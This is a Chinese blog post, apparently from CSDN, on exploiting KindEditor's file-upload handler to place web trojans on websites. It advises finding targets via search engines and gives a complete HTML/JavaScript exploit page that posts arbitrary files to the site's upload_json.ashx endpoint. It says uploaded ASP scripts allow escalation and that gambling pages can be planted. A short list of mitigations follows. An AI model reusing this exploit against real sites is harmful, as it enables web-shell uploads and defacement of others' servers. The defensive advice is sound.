利用KindEditor漏洞上传网马

       KindEditor是常用的富文本编辑器,里边有上传的功能,如果上传文件类型控制的不好,可能就会给网站带来安全问题,比如上传了网马,可能对我们的服务器就造成了伤害。

       首先通过搜索引擎查到使用kindeditor的位置,比如http://xxxx/editor/ ,然后编写上传文件代码,例如:

<html>
<head>
    <title>kindeditor exploit</title>
    <script src="~/Content/editor/kindeditor-min.js"></script>
    <script>
        KindEditor.ready(function (K) {
            var uploadbutton = K.uploadbutton({
                button: K('#uploadButton')[0],
                fieldName: 'imgFile',
                url: 'http://xxxx/editor/asp.net/upload_json.ashx?dir=file',
                afterUpload: function (data) {
                    if (data.error === 0) {
                        var url = K.formatUrl(data.url, 'absolute');
                        K('#url').val(url);
                    }
                },
            });
            uploadbutton.fileBox.change(function (e) {
                uploadbutton.submit();
            });

        });

    </script>
</head>
<body>

    <div class="upload">
        <input type="button" id="uploadButton" value="Upload" />
    </div>
</body>
</html>

       效果如下:    

   

       选择测试文件:

       我们可以看到文件已经上传了,然后浏览器输入文件路径地址,就可以看到上传的文件内容了,如果可以上传asp等可执行脚本文件,就可以提权了,即使上传html等博彩页面也很让人难受。

       解决办法就是控制上传文件类型,设置文件夹权限,不能执行,只能读取等。具体如下:      
       1、删除Kindeditor对应文件夹下的demo.aspx; 
       2、修改file_manager_json和upload_json中允许文件上传类型,去掉可执行文件、html、htm等文件类型;
       3、修改file_manager_json和upload_json两个文件名称,全局搜索两个文件名并对应修改程序调用名称。

发布了109 篇原创文章 · 获赞 42 · 访问量 57万+

猜你喜欢

转载自blog.csdn.net/sinat_28984567/article/details/94303196
今日推荐